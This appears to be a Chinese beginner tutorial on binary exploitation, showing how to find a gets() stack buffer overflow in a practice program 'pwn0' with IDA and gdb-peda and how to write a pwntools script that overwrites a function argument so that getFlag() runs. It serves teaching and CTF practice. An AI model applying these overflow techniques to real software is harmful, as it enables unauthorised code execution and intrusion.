0x01 环境和程序准备
- 安装有pwntools的kali Linux,安装教程可参考上一篇文章。
- gdb-peda工具,这个是gdb的插件这个可以百度一下安装和使用教程。
- IDA反汇编工具,可自行百度下载和学习使用方法,本文只做简单介绍。
- 一个Linxu X86的含有漏洞的小程序pwn0,可在本文末尾下载链接处下载。
请在“/home/pwn/pwn0/"目录下建立flag文件,内容为flag{this_is_flag},此文件将是我们要利用pwn0读取的文件。
0x02 运行程序并反汇编分析
首先我们运行我们的程序,发现其就是一个简单的输入,然后输出的小程序,如下图:
我们把程序拉到IDA里面分析一下,发现函数foo(),getFlag(),在函数处按F5,将显示对应的C语言程序,如下:
从main函数中可以看到并没有什么,只是简单的输出一句话,然后调用了一下foo函数,但是这里给foo函数船了实参值为0x123456,这个后面我们用得到。下面我们看一下foo函数的结构:
foo函数有一个参数a1,然后函数体内定义了两个变量,分别是result和s,从IDA分析看,result是一个寄存器变量,不占用内存。然后这个函数接收了我们的输入,然后进行显示,重要的是里面的if判断恒为false。所以这个getFlag()函数就是我们要解决的问题。
我们发现main函数没有什么问题,主要函数在foo函数,getFlag函数便是我们要执行的函数,但是从现在的逻辑看,似乎这个getFlag()函数是不可能被执行的,因为a1的值为0x123456,但是if里面的判断却要求a1的值为0x61616161(转换为16进制查看),所以这个if是恒为false的。
分析一下流程发现,在foo函数里面声明的char s,但是使用了gets(&s),让我们为s赋值。gets()函数是不会检查你输入的字符串长度的,所以此处会有一个溢出漏洞,大部分简单的溢出漏洞都出现在让我们输入的地方。
foo函数中的第四行代码简单说一下:
1 |
char s; // [sp+Ch] [bp-1Ch]@1 |
IDA以及为我们分析出来了,这个s变量在内存中的位置距离栈顶有+Ch个字节,距离栈底有-1Ch个字节。注意这里的sp就是esp,bp就是ebp的意思,不明白的可看前面的函数栈分析文章。
分析到这里,我们简单画一下这个foo函数的栈结构图:
这里说一下啊reault变量是eax变量,没有往内存里面存,从IDA的标注可以看出来。有一个知识点也要注意一下,栈里面的数据在写的时候是从低地址往高地址写的,什么意思呢?就是从s开始写数据,一旦s的1字节被写满,就会继续往高地址的地方延申。
分析函数栈可知,我们的变量s只要内容够长,就可以不断的往下延申,最终覆盖掉EBP、EIP甚至a1,所以这里我们便有了利用思路,因为我们的而判断是判断a1和常量0x61616161是否相等,如果我们将s延申,覆盖掉a1,让a1的值恰好等于0x61616161那么if判断不就可以成立,然后执行getFlag()函数拿到flag。下面开始写Payload。
0x03 调试并分析Payload
我们先看一下foo函数的汇编代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
Dump of assembler code for function foo: 0x0804859f <+0>: push ebp 0x080485a0 <+1>: mov ebp,esp 0x080485a2 <+3>: sub esp,0x28 0x080485a5 <+6>: sub esp,0xc 0x080485a8 <+9>: lea eax,[ebp-0x1c] 0x080485ab <+12>: push eax 0x080485ac <+13>: call 0x8048400 <gets@plt> 0x080485b1 <+18>: add esp,0x10 0x080485b4 <+21>: sub esp,0xc 0x080485b7 <+24>: lea eax,[ebp-0x1c] 0x080485ba <+27>: push eax 0x080485bb <+28>: call 0x8048420 <puts@plt> 0x080485c0 <+33>: add esp,0x10 0x080485c3 <+36>: cmp DWORD PTR [ebp+0x8],0x61616161 0x080485ca <+43>: jne 0x80485d1 <foo+50> 0x080485cc <+45>: call 0x804855b <getFlag> 0x080485d1 <+50>: nop 0x080485d2 <+51>: leave 0x080485d3 <+52>: ret End of assembler dump. |
我们在0x080485ab出下断点,可以看到变量s的地址就是eax的值,如下图:
此时eax的值为0xbffff1ac,EBP的值为0xbffff1c8正好相差0x1C,然后我们看下栈里面的情况:
我们发现我们的分析是正确的,a1在EIP下面,s和EBP相差0x1C,那么我们来计算一下s到a1的距离一共是:0x1C + 0x4(EBP) + 0x4(EIP) = 0x24 = 36 ,距离大概就是这样,那么我们测试一下,如果输入36个A和4个B会发生什么,输入完成后查看堆栈:
我们发现原来0xbffff1d0地址中存储的0x1231456被我们的BBBB给覆盖掉了。所以我们只需要将BBBB改为0x61616161就可以使if成立,但是这里要注意,我们输入的使字符串,和数字使不同的,我们需要将数字转化为字符串然后进行输入,这里我们使用Python中pwntools进行输入和输出。
到此位置我们可以编写Payload进行溢出利用了,下面开始编写脚本。
0x04 编写Payload利用脚本
基本的脚本利用如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
#-*- coding: utf-8 -*- from pwn import * #载入程序 pwn = process('./pwn0') #读取一行程序的输出并显示 print pwn.recvline() #构造payload payload = 'A' * 0x1C + 'A' * 0x4 + 'A' * 0x4 #p32封包,将值转换为字符 payload += p32(0x61616161) #向程序输入一行数据 pwn.sendline(payload) #打印一行输出 print pwn.recvline() #打印出flag print pwn.recvline() |
看程序运行结果如下:
可以看到我们的getFlag函数以及成功运行,并且读取到了flag文件
0x05 补充
本文的程序比较简单,但是理解溢出漏洞练手的好程序,并且这个程序不止这个个利用方式,还有令该一个方式就是直接覆盖EIP然后跳转到getFlag()函数,下篇文章我们将讲述这种做法。
本文程序下载(密码akcz):